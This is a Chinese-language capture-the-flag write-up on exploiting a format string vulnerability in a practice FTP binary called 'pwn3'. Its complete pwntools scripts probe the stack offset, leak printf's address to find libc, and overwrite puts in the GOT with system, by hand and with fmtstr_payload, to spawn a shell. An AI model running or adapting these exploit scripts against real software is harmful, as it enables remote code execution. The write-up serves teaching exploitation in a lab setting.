格式化字符串漏洞練習
VSole2022-07-06 17:01:05
ftp程序,需要使用rxraclhm賬號登錄,提供了get、put、dir三個功能,分別讀文件、上傳文件、查看目錄。
其中get方法存在格式化字符串漏洞:

所以需要先put一個文件,內容是payload,然后get這個文件。
先測試一下偏移:
from pwn import * # context.log_level = 'debug' sh = process("./pwn3") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(): sh.recvuntil(b"ftp>") sh.sendline(b"put") sh.recvuntil(b"please enter the name of the file you want to upload:") sh.sendline(b"aaa") sh.recvuntil(b"then, enter the content:") sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p') def get(): sh.recvuntil(b"ftp>") sh.sendline(b"get") sh.recvuntil(b"enter the file name you want to get:") sh.sendline(b"aaa") put()get() print(sh.recv())sh.interactive()
結果:

看到tag偏移量是7。
再測試一下,把put最后一行改一下:
def put(): sh.recvuntil(b"ftp>") sh.sendline(b"put") sh.recvuntil(b"please enter the name of the file you want to upload:") sh.sendline(b"aaa") sh.recvuntil(b"then, enter the content:") sh.sendline(b'AAAA%7$p')
確定偏移是7。

dir方法:

開始構造payload:
把puts的地址改成system的地址,然后put一個文件,文件名為‘/bin/sh;’, 然后再調用dir, show_dir()函數會執行puts("/bin/sh;...")
也就是 system("/bin/sh;..."),反彈shell。
exp:
from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content): sh.recvuntil(b"ftp>") sh.sendline(b"put") sh.recvuntil(b"please enter the name of the file you want to upload:") sh.sendline(file_name) sh.recvuntil(b"then, enter the content:") sh.sendline(file_content) def get(file_name): sh.recvuntil(b"ftp>") sh.sendline(b"get") sh.recvuntil(b"enter the file name you want to get:") sh.sendline(file_name) def dir(): sh.recvuntil(b"ftp>") sh.sendline(b"dir") def leakage_function_addr(got_addr): put(b'get_addr', b'%8$s' + p32(got_addr)) get(b'get_addr') function_addr = u32(sh.recv(4)) return function_addr def compute_order_32(target): print("target=%x"%target) dic = {} for i in range(4): x = (target >> (i * 8)) x &= 0xff dic[i] = x ls = list(dic.items()) ls.sort(key=lambda x:x[1]) return ls def hack(addr, value, offset_start): list_of_value = compute_order_32(value) print(list_of_value) payload = flat([ p32(addr + 0), p32(addr + 1), p32(addr + 2), p32(addr + 3) ]) total_char = 16 for it in list_of_value: curr_char = it[1] - total_char total_char += curr_char payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn" print("addr=%x"%addr) debug(payload) put(b'hack', payload) get(b'hack') printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase) system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()
需要計算偏移量覆蓋got['puts']
怎么覆蓋看這個:https://bbs.pediy.com/thread-273213.htm
可以用pwntools里面的方法,一行代碼搞定:payload = fmtstr_payload(7, {addr: value})
使用fmtstr_payload后的版本:
from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file" sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content): sh.recvuntil(b"ftp>") sh.sendline(b"put") sh.recvuntil(b"please enter the name of the file you want to upload:") sh.sendline(file_name) sh.recvuntil(b"then, enter the content:") sh.sendline(file_content) def get(file_name): sh.recvuntil(b"ftp>") sh.sendline(b"get") sh.recvuntil(b"enter the file name you want to get:") sh.sendline(file_name) def dir(): sh.recvuntil(b"ftp>") sh.sendline(b"dir") def leakage_function_addr(got_addr): put(b'get_addr', b'%8$s' + p32(got_addr)) get(b'get_addr') function_addr = u32(sh.recv(4)) return function_addr def hack(addr, value, offset_start): payload = fmtstr_payload(7, {addr: value}) debug(payload) put(b'hack', payload) get(b'hack') printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase) system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()
看下區別,這個是pwntools生成的payload:

這個是我的:

區別在格式化字符串和指針的位置不同。
看下覆蓋后的got,已經變成system了,nice。

VSole
網絡安全專家